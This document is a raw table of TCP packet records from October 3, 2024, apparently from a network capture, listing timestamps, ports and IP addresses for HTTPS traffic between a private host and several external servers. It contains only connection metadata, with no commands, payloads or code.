Oct 3, 2024 17:19:14.626337051 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:14.661911011 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.662333965 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.662350893 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.662714958 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.663111925 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.663172960 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.681268930 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:14.703315020 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.868746042 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.870831966 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.870893955 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.871336937 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.873032093 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.873131037 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.873212099 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.915410995 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.054488897 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:15.099397898 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:15.203135967 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.203227043 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.203353882 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:15.203761101 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:15.203779936 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.228575945 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:15.228662014 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:15.228733063 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:15.229213953 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:15.229235888 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:15.233577013 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:15.233614922 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.233798027 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:15.234146118 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:15.234159946 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:15.307271004 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.308015108 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.308044910 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.311688900 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.312077999 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.312098980 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.312180996 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.315242052 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.315453053 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.315466881 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.363426924 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.370279074 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:15.370332956 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:15.418450117 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:16.104718924 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.105072975 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.105104923 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.106244087 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.106668949 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.106729984 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.106842041 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.153368950 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.191193104 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:16.191376925 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:16.191459894 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:16.192141056 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:16.192147970 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:16.391447067 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391469955 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391478062 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391486883 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391511917 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391557932 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.391572952 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.391599894 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.391622066 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.393946886 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.393970013 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.394042969 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.394048929 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.437431097 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.437458038 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.437499046 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.437505960 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.437550068 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.483360052 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.483381987 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.483571053 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.483577967 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.484597921 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.484620094 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.484662056 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.484666109 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.484688997 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:16.484735012 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.484905005 CEST	55859	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:16.484920025 CEST	443	55859	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:18.807353020 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.807467937 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:18.807559967 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.807632923 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.807662964 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:18.807876110 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.807913065 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:18.807950020 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.808274031 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:18.808284998 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.416968107 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.417283058 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.417296886 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.417795897 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.418195009 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.418195009 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.418207884 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.418270111 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.429353952 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.429776907 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.429841995 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.430968046 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.431271076 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.431488037 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.467408895 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.483437061 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.761177063 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.761296988 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.761415958 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.762913942 CEST	55864	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.762933969 CEST	443	55864	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:19.775502920 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:19.775597095 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:19.775887966 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:19.775988102 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:19.776022911 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:19.825753927 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:19.871400118 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:20.001610994 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:20.001723051 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:20.001956940 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:20.002131939 CEST	55863	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:20.002178907 CEST	443	55863	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:20.006088972 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.006119967 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.006206989 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.006431103 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.006447077 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.704797029 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:20.705235958 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:20.705298901 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:20.705637932 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:20.705959082 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:20.706031084 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:20.706105947 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:20.751400948 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:20.857234001 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.857681036 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.857718945 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.858838081 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.859239101 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.859325886 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:20.859493971 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:20.901444912 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.137830019 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.137895107 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.137917042 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.137959957 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138003111 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138005018 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138083935 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138132095 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138133049 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138160944 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138830900 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138895035 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138926983 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138948917 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.138973951 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.138974905 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.140878916 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.140948057 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.140966892 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.140981913 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.141019106 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.188364029 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.225495100 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.225596905 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.225868940 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.225939035 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.226043940 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.226615906 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.226706982 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.226799011 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.226826906 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.226883888 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.226883888 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.227077007 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.227097034 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.227121115 CEST	443	55866	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:21.227173090 CEST	55866	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:21.535676956 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:21.535762072 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:21.535840988 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:21.536478996 CEST	55865	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:21.536524057 CEST	443	55865	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:22.543387890 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.543423891 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:22.543495893 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.543626070 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.543659925 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:22.543708086 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.543876886 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.543889999 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:22.544028997 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:22.544044018 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.145920038 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.146236897 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.146255970 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.146593094 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.146977901 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.147041082 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.147046089 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.189842939 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.190103054 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.190133095 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.190468073 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.190841913 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.190901995 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.191412926 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.192322969 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.240387917 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.497407913 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.497597933 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.497755051 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.498042107 CEST	55868	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.498056889 CEST	443	55868	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.500433922 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:23.500472069 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:23.500567913 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:23.500787020 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:23.500801086 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:23.546298981 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.591397047 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.726188898 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.726260900 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.726320028 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.726623058 CEST	55869	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:23.726640940 CEST	443	55869	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:23.730097055 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:23.730185032 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:23.730298042 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:23.730478048 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:23.730509996 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.045408010 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.045448065 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.045536995 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.045674086 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.045720100 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.045769930 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.045996904 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.046013117 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.046211004 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.046230078 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.515717983 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:24.515790939 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:24.515857935 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:24.517975092 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:24.518244982 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:24.518265963 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:24.519608021 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:24.519953966 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:24.520123959 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:24.563353062 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:24.660911083 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.664143085 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.664172888 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.665293932 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.665649891 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.665791988 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.665802956 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.665837049 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.672504902 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.675314903 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.675349951 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.676503897 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.680969000 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.681133032 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:24.706325054 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.714490891 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.715732098 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.715764999 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.716177940 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.717668056 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.717762947 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.717806101 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.722743034 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:24.763402939 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.769337893 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.917979956 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918024063 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918045998 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918065071 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918087006 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918101072 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918117046 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.918180943 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:24.918220043 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:24.918242931 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.010375977 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.010404110 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.010523081 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.010579109 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.010643005 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.032063007 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.032249928 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.032322884 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.032672882 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.032701969 CEST	443	55873	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.032713890 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.032743931 CEST	55873	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.034620047 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:25.034704924 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:25.034774065 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:25.079401016 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:25.101445913 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.101469040 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.101608038 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.101636887 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.101695061 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.102972984 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.102996111 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.103059053 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.103074074 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.103133917 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.104619026 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.104667902 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.104697943 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.104701042 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.104727030 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.104759932 CEST	55871	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:25.104921103 CEST	55871	443	192.168.2.17	157.90.33.121
